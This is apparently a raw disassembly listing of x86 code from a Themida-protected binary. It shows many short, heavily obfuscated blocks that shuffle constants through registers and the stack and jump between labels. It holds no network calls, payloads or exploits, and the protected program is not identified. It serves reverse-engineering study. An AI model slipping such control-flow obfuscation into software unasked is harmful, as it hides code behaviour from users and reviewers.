; ---------------------------------------------------------------------------


loc_595729:				; CODE XREF: sub_59196D+6199j
		mov	ecx, 20026218h
		push	ebx
		mov	ebx, 3615338Ch
		add	ebx, 19A355ACh
		shl	ebx, 8
		jmp	loc_597D23
; ---------------------------------------------------------------------------


loc_595742:				; CODE XREF: sub_59196D+62CEj
		push	esi
		mov	esi, 539E7A86h
		push	309Eh
		mov	[esp+20h+var_22+2], edx
		push	378355D9h
		pop	edx
		shr	edx, 1
		push	7571h
		mov	[esp+24h+var_26+2], esi
		mov	esi, 3D455046h
		not	esi
		dec	esi
		shr	esi, 5
		add	esi, 5632E416h
		xor	edx, esi
		pop	esi
		jmp	loc_593FCA
; ---------------------------------------------------------------------------


loc_595779:				; CODE XREF: sub_59196D-981j
		sub	edx, 9D26D58h
		push	[esp+28h+var_2A+2]
		pop	ebx
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp+24h+var_26+2]
		xor	[esp+24h+var_26+2], edx
		xor	edx, [esp+24h+var_26+2]
		jmp	loc_592695
; ---------------------------------------------------------------------------


loc_595797:				; CODE XREF: sub_59196D-63FBj
		xchg	edx, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		push	[esp+14h+var_16+2]
		jmp	loc_58F4BC
; ---------------------------------------------------------------------------


loc_5957A5:				; CODE XREF: sub_59196D+28E0j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_590AFF
; ---------------------------------------------------------------------------


loc_5957B8:				; CODE XREF: sub_59196D+A3Fj
		xor	ebp, eax
		jmp	loc_5950ED
; ---------------------------------------------------------------------------


loc_5957BF:				; CODE XREF: sub_59196D+23DBj
		mov	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ecx
		mov	ecx, 7D5D6402h
		xor	ebx, ecx
		push	[esp+28h+var_2A+2]
		jmp	loc_58F0AB
; ---------------------------------------------------------------------------


loc_5957D7:				; CODE XREF: sub_59196D-1317j
		push	ecx
		jmp	loc_58F6A0
; ---------------------------------------------------------------------------


loc_5957DD:				; CODE XREF: sub_59196D-623Aj
		pop	ebp
		sub	ebp, 135C56FBh
		mov	edx, ebp
		jmp	loc_5913E2
; ---------------------------------------------------------------------------


loc_5957EB:				; CODE XREF: sub_59196D+2AE7j
		lodsd
		sub	eax, 22E41B83h
		jmp	loc_58FA2C
; ---------------------------------------------------------------------------


loc_5957F6:				; CODE XREF: sub_59196D-CA7j
		push	[esp+24h+var_26+2]
		jmp	loc_58D3AB
; ---------------------------------------------------------------------------


loc_5957FE:				; CODE XREF: sub_59196D+706j
					; sub_59196D+4897j
		mov	ecx, 4F134504h
		jmp	loc_58B954
; ---------------------------------------------------------------------------


loc_595808:				; CODE XREF: sub_59196D+186Cj
		shl	ebp, 5
		jmp	loc_5964BC
; ---------------------------------------------------------------------------


loc_595810:				; CODE XREF: sub_59196D-32E7j
		sub	esp, 4
		mov	[esp+20h+var_22+2], edi
		mov	edi, 38C73E42h
		jmp	loc_58F1B4
; ---------------------------------------------------------------------------


loc_595820:				; CODE XREF: sub_59196D+2E2Aj
		mov	ecx, 0FD69FCh
		shr	ecx, 6
		not	ecx
		add	ecx, 5450830h
		shl	ecx, 8
		sub	ecx, 411287FCh
		push	ecx
		jmp	loc_58E3D7
; ---------------------------------------------------------------------------


loc_59583F:				; CODE XREF: sub_59196D+679Dj
		mov	esp, [esp+44h+var_44]
		shl	word ptr [esp+44h+var_44], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59584C:				; CODE XREF: sub_59196D+450Dj
		push	eax
		not	[esp+4Ch+var_4E+2]
		pop	eax
		sub	eax, 0FFFFFFFFh
		shl	eax, 7
		xor	eax, 0DFFE9DCAh
		sub	edx, eax
		pop	eax
		mov	eax, [esp+44h+var_44]
		add	esp, 4
		push	edx
		add	[esp+44h+var_44], 3C6871A7h
		pop	eax
		sub	eax, 3C6871A7h
		pop	edx
		push	edx
		push	506D6035h
		pop	edx
		xor	edx, 3AE74FB2h
		xchg	ebp, edx
		inc	ebp
		xchg	ebp, edx
		dec	edx
		shl	edx, 1
		push	edx
		jmp	loc_59114F
; ---------------------------------------------------------------------------


loc_595891:				; CODE XREF: sub_59196D-5E47j
		xor	edx, 7160432Dh
		add	eax, edx
		pop	edx
		sub	eax, 4
		xor	eax, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], eax
		jmp	loc_58FC92
; ---------------------------------------------------------------------------


loc_5958AA:				; CODE XREF: sub_59196D-2D4Cj
		jle	loc_596C16
		shl	ebx, 5
		js	loc_593CC6
		push	ebp


loc_5958BA:				; CODE XREF: sub_59196D-54ECj
		add	esi, 4
		jmp	loc_591745
; ---------------------------------------------------------------------------


loc_5958C5:				; CODE XREF: sub_59196D-27BEj
		pop	edx
		add	esp, 4
		and	ecx, edi
		pop	edi
		jmp	loc_596D2E
; ---------------------------------------------------------------------------


loc_5958D1:				; CODE XREF: sub_59196D-4464j
					; sub_59196D+247Cj
		mov	esi, 4
		add	eax, esi
		push	[esp+20h+var_22+2]
		pop	esi
		jmp	loc_593C95
; ---------------------------------------------------------------------------


loc_5958E1:				; CODE XREF: sub_59196D-5423j
		mov	[esp+0], esi
		mov	esi, 4
		sub	[esp+0Eh+var_C+2], 790844BAh
		add	[esp+0Eh+var_C+2], esi
		add	[esp+0Eh+var_C+2], 790844BAh
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_595909:				; CODE XREF: sub_59196D-2BCCj
		and	ebx, eax
		jmp	loc_59391A
; ---------------------------------------------------------------------------


loc_595910:				; CODE XREF: sub_59196D+2743j
					; sub_59196D+5D31j
		mov	esi, esp
		add	esi, 4
		jmp	loc_58E0BC
; ---------------------------------------------------------------------------


loc_59591D:				; CODE XREF: sub_59196D+34C8j
		xchg	ecx, [esp+24h+var_26+2]
		pop	esp
		push	496h
		mov	[esp+24h+var_26+2], edi
		jmp	loc_5910CE
; ---------------------------------------------------------------------------


loc_59592E:				; CODE XREF: sub_59196D+6A03j
		add	edx, 74C64F08h
		add	edx, ecx
		sub	edx, 74C64F08h
		pop	ecx
		sub	edx, 67BD7DA5h
		add	edx, ebx
		add	edx, 67BD7DA5h
		sub	edx, 359F579Fh
		mov	ebx, [esp+20h+var_22+2]
		jmp	loc_5942E4
; ---------------------------------------------------------------------------


loc_595959:				; CODE XREF: sub_59196D+15C8j
		push	57D31D48h
		pop	esi
		add	esi, 0DD6E1A22h
		jmp	loc_58B6AE
; ---------------------------------------------------------------------------


loc_59596A:				; CODE XREF: sub_59196D+613Aj
		pop	ebp
		jmp	loc_58CD8B
; ---------------------------------------------------------------------------


loc_595970:				; CODE XREF: sub_59196D+6AE6j
		add	ecx, 0D4FBDFB6h
		mov	eax, ecx
		mov	ecx, [esp+24h+var_26+2]
		jmp	loc_594113
; ---------------------------------------------------------------------------


loc_595980:				; CODE XREF: sub_59196D-5C19j
		add	edx, 7CF12E18h
		sub	edx, 80F23A89h
		add	eax, edx
		mov	edx, [esp+26h+var_26]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+2Eh+var_2A]
		jmp	loc_5979A9
; ---------------------------------------------------------------------------


loc_5959A7:				; CODE XREF: sub_59196D-4DC9j
		or	ebx, 501C1EC0h
		not	ebx
		jmp	loc_58C602
; ---------------------------------------------------------------------------


loc_5959B4:				; CODE XREF: sub_59196D+2658j
		dec	edi
		jmp	loc_592D3A
; ---------------------------------------------------------------------------


loc_5959BA:				; CODE XREF: sub_59196D+6CECj
		pop	esp
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5959C0:				; CODE XREF: sub_59196D+604j
		push	edi
		mov	edi, 432C2D64h
		jmp	loc_591B34
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+4Ch+var_4E+2]
		push	4C73h
		mov	[esp], ecx
		push	esp
		jmp	loc_58F77A
; ---------------------------------------------------------------------------


loc_5959DD:				; CODE XREF: sub_59196D-C97j
		pop	esp
		jmp	loc_594772
; ---------------------------------------------------------------------------


loc_5959E3:				; CODE XREF: sub_59196D+1D4Dj
		mov	edi, 4795759Dh
		push	ebp
		mov	ebp, 70154841h
		sub	edi, ebp
		jmp	loc_592BCD
; ---------------------------------------------------------------------------


loc_5959F5:				; CODE XREF: sub_59196D+5C8Cj
		dec	al
		jo	loc_5932E0
		add	al, 1Eh
		jmp	loc_591B8F
; ---------------------------------------------------------------------------


loc_595A04:				; CODE XREF: sub_59196D+6C55j
		sub	edi, 988B9C9Ah
		add	ebp, edi
		pop	edi
		or	ebp, 50823CBFh
		or	ebp, 3452030Bh
		sub	ebp, 0A17FECD0h
		sub	ecx, ebp
		jmp	loc_593590
; ---------------------------------------------------------------------------


loc_595A26:				; CODE XREF: sub_59196D-2FBBj
		not	edi
		add	edi, 78467D58h
		add	edi, 0FDD78E98h
		add	ebx, edi
		pop	edi
		jmp	loc_58CA82
; ---------------------------------------------------------------------------


loc_595A3C:				; CODE XREF: sub_58EF7E+283Cj
		add	edi, edx
		pop	edx
		xor	edi, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], edi
		xor	edi, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_596FBD
; ---------------------------------------------------------------------------
		push	[esp+14h+var_16+2]
		mov	eax, [esp+18h+var_1A+2]
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_59799C
; ---------------------------------------------------------------------------


loc_595A6A:				; CODE XREF: sub_59196D-47C4j
		jz	loc_58BC3F
		add	esi, 0EEF6FBE8h
		mov	edx, esi
		pop	esi
		sub	edx, 2FD933BDh
		sub	edx, 53E17CC0h
		jmp	loc_5936A5
; ---------------------------------------------------------------------------


loc_595A8A:				; CODE XREF: Themida_:0058EA8Dj
		sub	cl, 9Ch
		pop	eax
		sub	cl, 0A8h
		or	cl, 97h
		jmp	loc_591CE8
; ---------------------------------------------------------------------------


loc_595A99:				; CODE XREF: Themida_:0058D53Fj
		push	ecx
		add	[esp+8+var_8], 54451DB3h
		jmp	loc_593D29
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+4+var_4], eax
		pushf
		jmp	loc_593B48
; ---------------------------------------------------------------------------


loc_595AB4:				; CODE XREF: sub_59196D+2FDAj
		pop	edi
		push	ecx
		jmp	loc_58DEF8
; ---------------------------------------------------------------------------


loc_595ABB:				; CODE XREF: sub_59196D+44ACj
		xor	cl, 2Fh
		add	cl, 14h
		sub	bh, cl
		pop	ecx
		push	edx
		jmp	loc_58D2EC
; ---------------------------------------------------------------------------


loc_595ACA:				; CODE XREF: sub_59196D-4C9Cj
		pop	edx
		sub	edx, 253F0212h
		pop	ebx
		add	eax, edx
		mov	edx, [esp+32h+var_32]
		add	esp, 4
		jmp	loc_5916EC
; ---------------------------------------------------------------------------
		push	[esp+2Eh+var_2E]
		push	[esp+32h+var_32]
		jmp	loc_58D8F3
; ---------------------------------------------------------------------------


loc_595AED:				; CODE XREF: Themida_:0058EB36j
		not	eax
		xor	eax, 0D3AF5ABFh
		add	ebx, eax
		pop	eax
		push	edi
		sub	esp, 4
		jmp	loc_59520C
; ---------------------------------------------------------------------------


loc_595B00:				; CODE XREF: sub_59196D-47AEj
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_58DEFE
; ---------------------------------------------------------------------------


loc_595B0E:				; CODE XREF: sub_59196D+37E9j
		add	dl, cl
		pop	ecx
		neg	dl
		add	dl, 0F2h
		sub	al, dl
		pop	edx
		add	al, bh
		add	al, 0E7h
		mov	ebx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4Ah+var_4A]
		pop	esp
		push	ecx
		mov	cl, 30h
		sub	cl, 0B2h
		not	cl
		shr	cl, 4
		add	cl, 9Ch
		add	al, 0BCh
		sub	al, cl
		push	ecx
		jmp	loc_594E3A
; ---------------------------------------------------------------------------


loc_595B47:				; CODE XREF: sub_59196D-1D4Ej
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_595B4C:				; CODE XREF: sub_59196D-3B67j
		push	28AE5337h
		push	[esp+2Eh+var_2E]
		pop	esi
		jmp	loc_592F1B
; ---------------------------------------------------------------------------


loc_595B5A:				; CODE XREF: sub_59196D+3501j
		add	[esp+2Ch+var_2E+2], 4
		pop	ebp
		jmp	loc_58D6C0
; ---------------------------------------------------------------------------


loc_595B64:				; CODE XREF: Themida_:005903BAj
		mov	ecx, esp
		push	ebp
		push	edi
		jmp	loc_58CCF6
; ---------------------------------------------------------------------------


loc_595B6D:				; CODE XREF: sub_59196D-29B5j
		and	eax, ecx
		push	[esp-0Ch+arg_8]
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_591DB9
; ---------------------------------------------------------------------------


loc_595B90:				; CODE XREF: sub_59196D+4CF0j
		add	ebx, 15FA1E96h
		jmp	loc_59366B
; ---------------------------------------------------------------------------


loc_595B9B:				; CODE XREF: sub_59196D:loc_58CDACj
		add	eax, 708D0E16h
		jle	loc_591A59
		or	eax, 310C08A5h
		jmp	loc_5903C7
; ---------------------------------------------------------------------------


loc_595BB0:				; CODE XREF: sub_59196D+9F8j
		xor	al, 62h
		add	bl, al
		jmp	loc_5919A9
; ---------------------------------------------------------------------------


loc_595BB9:				; CODE XREF: sub_59196D+EC6j
		or	eax, edx
		pop	edx
		not	eax
		add	eax, 401B578Fh
		mov	edi, eax
		mov	eax, [esp+2Ah+var_2A]
		add	esp, 4
		and	eax, edi
		push	[esp+26h+var_26]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_592224
		push	edx
		push	esi
		push	19AD1550h
		mov	esi, [esp+2Eh+var_2E]
		push	esi
		jmp	loc_5970D1
; ---------------------------------------------------------------------------


loc_595BF2:				; CODE XREF: sub_59196D+824j
		not	edi
		and	edi, 1CBA5D25h
		and	edi, 218B66C6h
		jmp	loc_59167D
; ---------------------------------------------------------------------------


loc_595C05:				; CODE XREF: sub_59196D-60E7j
					; sub_59196D-151Aj ...
		add	ebx, ebp
		jmp	loc_596EDD
; ---------------------------------------------------------------------------


loc_595C0C:				; CODE XREF: sub_59196D+3007j
		mov	eax, ebx
		jmp	loc_58EDA0
; ---------------------------------------------------------------------------


loc_595C13:				; CODE XREF: sub_59196D-28DFj
		xor	edx, eax
		jmp	loc_594ADA
; ---------------------------------------------------------------------------


loc_595C1A:				; DATA XREF: Themida_:0058B134o
		mov	ax, word ptr [esp+14h+var_16+2]
		push	esi
		mov	esi, esp
		jmp	loc_594591
; ---------------------------------------------------------------------------


loc_595C26:				; CODE XREF: sub_59196D-191Cj
		pop	esp
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59813C
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8+var_8]
		push	7A8Dh
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_591A7C
; ---------------------------------------------------------------------------


loc_595C55:				; CODE XREF: sub_59196D-3B5Cj
		sub	eax, ebx
		sub	eax, 55EA5F45h
		sub	esp, 4
		mov	[esp+2Ah+var_2A], ebp
		mov	ebp, 651E1B4Bh
		jmp	loc_5973B7
; ---------------------------------------------------------------------------


loc_595C6C:				; CODE XREF: sub_59196D+5D3Dj
		mov	dx, 5FE0h
		dec	dx
		jnp	loc_5920BD
		and	dx, 7A14h
		jle	loc_58BD34
		mov	ah, al
		pop	ebp


loc_595C86:				; CODE XREF: Themida_:00590F1Ej
		push	5BB75673h
		jmp	loc_59514B
; ---------------------------------------------------------------------------


loc_595C90:				; CODE XREF: sub_59196D-1E6Dj
					; sub_59196D+210Aj
		pop	esp
		push	[esp+58h+var_5A+2]
		mov	eax, [esp+0]
		jmp	loc_59524F
; ---------------------------------------------------------------------------


loc_595C9C:				; CODE XREF: sub_59196D+5A3Fj
		add	dword ptr [esp+0], 4
		pop	edi
		jmp	loc_5942AF
; ---------------------------------------------------------------------------


loc_595CA6:				; CODE XREF: sub_59196D:loc_58C3FAj
		xor	edx, 10004CF5h
		mov	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		xor	esi, [esp+4+var_4]
		jmp	loc_594C32
; ---------------------------------------------------------------------------


loc_595CBA:				; CODE XREF: sub_59196D+188Aj
		mov	ebx, edi
		jmp	loc_595DAD
; ---------------------------------------------------------------------------


loc_595CC1:				; CODE XREF: sub_59196D+417j
		mov	[esp+8+var_8], edi
		mov	edi, 2BB5396Ch
		neg	edi
		shr	edi, 2
		dec	edi
		jge	loc_58E2F8
		and	edi, 1E69397Dh
		xor	edi, 2CAC24D4h
		pop	edx


loc_595CE2:				; CODE XREF: sub_59196D+4E08j
		jnp	loc_58BA41
		add	edx, 6CAD461Ah
		mov	ebx, edx
		mov	edx, [esp+4+var_4]
		mov	bl, al


loc_595CF5:				; CODE XREF: sub_58B4DA+9j
		mov	dl, bl
		mov	ah, dl
		pop	edx
		pop	ebx
		push	small 0
		sub	[esp+0], ah
		jmp	loc_58BD59
; ---------------------------------------------------------------------------


loc_595D07:				; CODE XREF: sub_59196D+38CFj
		add	eax, 789B662Ah
		jmp	loc_592472
; ---------------------------------------------------------------------------


loc_595D11:				; CODE XREF: sub_59196D-4D67j
		mov	[esp+2Ch+var_2E+2], ebp
		push	ecx
		jmp	loc_593884
; ---------------------------------------------------------------------------


loc_595D1A:				; CODE XREF: Themida_:0058CA19j
		mov	ecx, 19010222h
		mov	ebx, 8750CE1Ah
		sub	ebx, ecx
		push	[esp+30h+var_32+2]
		pop	ecx
		add	esp, 4
		xor	eax, ebx
		push	[esp+2Ch+var_2E+2]
		mov	ebx, [esp+30h+var_32+2]
		add	esp, 4
		push	esi
		jmp	loc_590CFD
; ---------------------------------------------------------------------------


loc_595D44:				; CODE XREF: sub_59196D-10C1j
		pop	edi
		jmp	loc_5945EF
; ---------------------------------------------------------------------------


loc_595D4A:				; CODE XREF: sub_59196D-40A1j
		pop	ecx
		and	ebx, 60FD46D7h
		not	ebx
		shl	ebx, 8
		sub	esp, 4
		mov	[esp+32h+var_32], edx
		mov	edx, 6E276BE9h
		jmp	loc_593226
; ---------------------------------------------------------------------------


loc_595D66:				; CODE XREF: sub_59196D-5F94j
		mov	ebx, 55255F0Ch
		xor	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 15CB241Bh
		jmp	loc_59109E
; ---------------------------------------------------------------------------


loc_595D79:				; CODE XREF: sub_59196D+5234j
		sub	edi, ebx
		pop	ebx
		sub	edi, 1FE76A9Ch
		add	edi, edx
		add	edi, 1FE76A9Ch
		add	edi, 2F5A12BCh
		pop	edx
		jmp	loc_59702B
; ---------------------------------------------------------------------------


loc_595D96:				; CODE XREF: sub_59196D-2B5Ej
		push	esi
		mov	esi, 0EC9C8BF2h
		add	eax, 196F7A4Eh
		add	eax, esi
		sub	eax, 196F7A4Eh
		jmp	loc_58BBCD
; ---------------------------------------------------------------------------


loc_595DAD:				; CODE XREF: sub_59196D+225Cj
					; sub_59196D+434Fj
		pop	edi
		pop	edx
		add	ebx, 7D8C7B83h
		add	ebx, 16A6644Bh
		add	ebx, edx
		push	ebp
		push	edi
		mov	edi, 11315204h
		jmp	loc_59373B
; ---------------------------------------------------------------------------


loc_595DC9:				; CODE XREF: sub_59196D-22E8j
		or	ebx, 63230EA2h
		jle	loc_593A12
		jmp	loc_5924C7
; ---------------------------------------------------------------------------
		push	small 0A92h
		mov	word ptr [esp-0Ah+arg_4+2], ax


loc_595DE2:				; CODE XREF: sub_59196D+4B82j
		pop	eax
		add	ebx, 5CA74305h
		add	ebx, ebp
		sub	ebx, 5CA74305h
		mov	ebp, [esp-0Eh+arg_8+2]
		add	esp, 4
		sub	ebx, eax
		push	edi
		mov	edi, 31860E16h
		sub	ebx, edi
		push	[esp-0Eh+arg_8+2]
		jmp	loc_596E1A
; ---------------------------------------------------------------------------


loc_595E0C:				; CODE XREF: sub_59196D-2058j
		pop	eax
		or	cl, 71h
		jo	loc_58BCA1
		shr	cl, 3
		jmp	loc_595ABB
; ---------------------------------------------------------------------------


loc_595E1E:				; CODE XREF: sub_59196D-5AB3j
		mov	eax, 4
		jmp	loc_592E54
; ---------------------------------------------------------------------------


loc_595E28:				; CODE XREF: sub_59196D+28F2j
					; sub_59196D+38DDj
		mov	esi, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_59400B
; ---------------------------------------------------------------------------


loc_595E39:				; CODE XREF: sub_59196D-3E8Fj
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], edx
		jmp	loc_58DC52
; ---------------------------------------------------------------------------


loc_595E47:				; CODE XREF: sub_59196D-28A2j
		sub	eax, 4
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], eax
		push	[esp+3Eh+var_3C+2]
		jmp	loc_593746
; ---------------------------------------------------------------------------


loc_595E5B:				; CODE XREF: sub_59196D+29F3j
		push	esp
		jmp	loc_593975
; ---------------------------------------------------------------------------


loc_595E61:				; CODE XREF: sub_58BF03-3D7j
		push	eax
		mov	eax, 16444841h
		mov	edx, eax
		jmp	loc_58B9A3
; ---------------------------------------------------------------------------


loc_595E6E:				; CODE XREF: sub_59196D+5B07j
		add	esi, 4
		jmp	loc_597877
; ---------------------------------------------------------------------------


loc_595E79:				; CODE XREF: sub_59196D+65Fj
		pop	ecx
		jmp	loc_59584C
; ---------------------------------------------------------------------------


loc_595E7F:				; CODE XREF: sub_59196D-2CF8j
		push	edx
		jmp	loc_598127
; ---------------------------------------------------------------------------


loc_595E85:				; CODE XREF: sub_59196D+580Bj
		mov	ebp, 24191EFEh
		sub	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 25F14287h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5917CE
; ---------------------------------------------------------------------------


loc_595E9B:				; CODE XREF: sub_59196D+2Cj
		pop	esp
		xchg	edx, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		movzx	cx, al
		push	small 1C0Bh
		mov	word ptr [esp+1Eh+var_1E], cx
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_595EB3:				; CODE XREF: sub_59196D+A88j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		jmp	loc_592C05
; ---------------------------------------------------------------------------


loc_595EC5:				; CODE XREF: sub_590717+2j
		mov	eax, 504B71A4h
		shr	eax, 7
		shr	eax, 3
		jmp	loc_5936BF
; ---------------------------------------------------------------------------


loc_595ED5:				; CODE XREF: sub_59196D+16B8j
		mov	ch, 9Ah
		inc	ch
		shr	ch, 7
		push	ax
		mov	ah, 60h
		add	ch, ah
		mov	ax, word ptr [esp+1Eh+var_1E]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+22h+var_22]
		pop	esp
		add	al, 8Fh
		add	al, ch
		jmp	loc_597E6A
; ---------------------------------------------------------------------------


loc_595F02:				; CODE XREF: sub_59196D+AA7j
		shl	ebp, 5
		js	loc_58BAEF
		sub	ebp, 0A65EBF02h
		and	[edi+1Ch], ebp
		mov	ebp, [esp+0]
		push	edi


loc_595F18:				; CODE XREF: sub_59196D-543Dj
		push	[esp+12h+var_12]
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_596106
; ---------------------------------------------------------------------------


loc_595F29:				; CODE XREF: sub_59196D-93Fj
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edi
		push	2AC4h
		mov	[esp+8+var_8], ecx
		mov	ecx, 3B332D3h
		mov	edi, 2C7B9647h
		sub	edi, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		not	edi
		add	edi, 1
		inc	edi
		shr	edi, 6
		dec	edi
		jmp	loc_58FDB6
; ---------------------------------------------------------------------------


loc_595F5F:				; CODE XREF: sub_59196D+1019j
		shr	ebx, 1
		add	ebx, 0F8F4CACBh
		or	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 1CEB7A70h
		or	ecx, 50C308A4h
		jmp	loc_58B477
; ---------------------------------------------------------------------------


loc_595F7B:				; CODE XREF: sub_59196D+6AB4j
		add	edx, eax
		jmp	loc_59094F
; ---------------------------------------------------------------------------


loc_595F82:				; CODE XREF: sub_59196D+1890j
		mov	edx, 41A148E5h
		neg	edx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		xor	edx, 46AE2CC4h
		sub	eax, edx
		pop	edx
		jmp	loc_594BAE
; ---------------------------------------------------------------------------
		push	ecx
		push	eax
		push	167F13C4h
		jmp	loc_59413D
; ---------------------------------------------------------------------------


loc_595FA9:				; CODE XREF: sub_59196D+63A9j
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 4
		sub	edx, 480F25B0h
		jmp	loc_58D338
; ---------------------------------------------------------------------------


loc_595FBF:				; CODE XREF: sub_59196D+2C66j
		xor	bh, 0ACh
		push	edx
		mov	dl, bh
		mov	ch, dl
		pop	edx
		pop	ebx
		sub	bl, ch
		mov	ecx, [esp+1Ch+var_1E+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_597B30
; ---------------------------------------------------------------------------


loc_595FD6:				; CODE XREF: sub_59196D-598Aj
		and	eax, ebp
		pop	ebp
		xor	eax, 26A008D3h
		add	ecx, eax
		pop	eax
		push	ecx
		push	[esp-8+arg_8]
		jmp	loc_58E3EA
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_594D4B
; ---------------------------------------------------------------------------


loc_595FF1:				; CODE XREF: sub_59196D-1B5Fj
					; sub_59196D+5391j
		mov	[esp+1Ch+var_1E+2], ebp
		push	ebx
		mov	ebx, 721775DBh
		xor	ebx, 15776804h
		ja	loc_594F15
		jmp	sub_58B60E
; ---------------------------------------------------------------------------
		add	ebp, edi
		pop	edi
		mov	ch, 26h
		mov	bl, ah


loc_596012:				; CODE XREF: Themida_:0058D3D4j
		mov	ecx, [esp+1Ch+var_1E+2]
		jmp	loc_5975AB
; ---------------------------------------------------------------------------


loc_59601A:				; CODE XREF: sub_59196D-5DB4j
		and	edi, 0D117346h
		sub	edi, 64870B35h
		or	edi, 765F58F7h
		push	ebp
		mov	ebp, 1
		sub	edi, ebp
		pop	ebp
		jmp	loc_596071
; ---------------------------------------------------------------------------


loc_59603A:				; CODE XREF: sub_59196D-3E39j
		shl	al, 5
		xor	al, 0C1h
		add	dl, al
		pop	eax
		sub	al, dl
		pop	edx
		xor	bl, al
		movzx	eax, al
		jmp	loc_59006F
; ---------------------------------------------------------------------------


loc_59604F:				; CODE XREF: Themida_:0058FD46j
		mov	eax, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 7381530h
		sub	eax, 6F85381Eh
		add	eax, ebx
		add	eax, 6F85381Eh
		jmp	loc_592EFF
; ---------------------------------------------------------------------------


loc_596071:				; CODE XREF: sub_59196D+46C8j
		sub	edi, 39FE7D1Eh
		xor	edi, 945D8150h
		jmp	loc_58EEF2
; ---------------------------------------------------------------------------


loc_596082:				; CODE XREF: sub_59196D-31B5j
		xor	ch, 0D1h
		sub	al, ch
		pop	ecx
		jmp	sub_58B76A
; ---------------------------------------------------------------------------


loc_59608D:				; CODE XREF: sub_59196D-22AEj
		sub	bl, 22h
		sub	bl, 28h
		sub	bl, ch
		add	bl, 28h
		add	bl, 22h
		mov	cx, word ptr [esp-10h+arg_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_595108
; ---------------------------------------------------------------------------


loc_5960AC:				; CODE XREF: sub_59196D-65E8j
		mov	[esp+4+var_4], ecx
		jmp	loc_590E98
; ---------------------------------------------------------------------------


loc_5960B4:				; CODE XREF: sub_59196D-411Fj
		add	esi, edi
		jmp	loc_590E76
; ---------------------------------------------------------------------------


loc_5960BB:				; CODE XREF: sub_59196D+5504j
		push	eax
		xor	dword ptr [esp+0], 565E465Fh
		pop	edi
		xor	edi, 565E465Fh
		pop	eax
		add	eax, 63A77FAh
		add	eax, edi
		sub	eax, 63A77FAh
		pop	edi
		xchg	eax, [esp+3Ah+var_3C+2]
		pop	esp
		push	[esp+36h+var_36]
		pop	eax
		push	esi
		push	esp
		jmp	loc_58D129
; ---------------------------------------------------------------------------


loc_5960E7:				; CODE XREF: sub_59196D-F2Bj
		sub	eax, 6EA65FD1h
		jmp	loc_58DD23
; ---------------------------------------------------------------------------


loc_5960F1:				; CODE XREF: sub_590B8E+7j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], eax
		jmp	loc_58BC8E
; ---------------------------------------------------------------------------


loc_596106:				; CODE XREF: sub_59196D+45B7j
		add	esp, 4
		jmp	loc_58B37B
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+12h+var_12]
		pop	esp
		mov	[esp], edx
		mov	dl, 55h
		xor	dl, 24h
		push	bx
		jmp	loc_594F55
; ---------------------------------------------------------------------------


loc_596131:				; DATA XREF: Themida_:0058B190o
		push	[esp+10h+var_12+2]
		mov	ecx, [esp+14h+var_16+2]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_592BC4
; ---------------------------------------------------------------------------


loc_596149:				; CODE XREF: sub_59196D+252Bj
		push	ebx
		push	15045679h
		jmp	loc_58DC9C
